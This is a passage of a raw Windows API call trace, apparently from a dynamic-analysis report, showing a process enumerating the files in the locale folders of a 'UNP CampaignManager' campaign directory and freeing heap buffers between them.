lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0295.016] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x71249d00, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0295.016] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0295.016] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0295.016] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0295.017] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0295.017] GetProcessHeap () returned 0xaf0000 [0295.017] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.017] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84fae3d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0295.017] GetProcessHeap () returned 0xaf0000 [0295.017] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.017] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84fae3d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0295.018] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84fae3d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0295.018] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0295.018] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x22d, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0295.019] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x174, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0295.019] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0295.019] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0295.019] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0295.019] GetProcessHeap () returned 0xaf0000 [0295.020] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.020] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85726e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0295.020] GetProcessHeap () returned 0xaf0000 [0295.020] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.020] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85726e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0295.021] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85726e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0295.021] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xaa3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0295.021] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0295.021] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0295.021] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0295.022] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0295.022] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0295.022] GetProcessHeap () returned 0xaf0000 [0295.022] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.022] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8575326, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0295.022] GetProcessHeap () returned 0xaf0000 [0295.022] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.022] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8575326, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0295.023] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8575326, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0295.023] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9fa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0295.024] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0295.024] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18d, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0295.024] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0295.024] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0295.024] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0295.024] GetProcessHeap () returned 0xaf0000 [0295.025] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.025] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x57d93800, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xee2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageSelector.js", cAlternateFileName="LANGUA~1.JS")) returned 1 [0295.025] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85bfd1b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lb-LU", cAlternateFileName="")) returned 1 [0295.025] GetProcessHeap () returned 0xaf0000 [0295.025] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.025] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85bfd1b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0295.026] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85bfd1b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0295.026] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0295.026] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0295.026] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0295.026] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0295.026] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0295.026] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0295.027] GetProcessHeap () returned 0xaf0000 [0295.027] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.027] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa860670d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0295.027] GetProcessHeap () returned 0xaf0000 [0295.027] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.027] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa860670d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0295.028] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa860670d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0295.028] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c77, 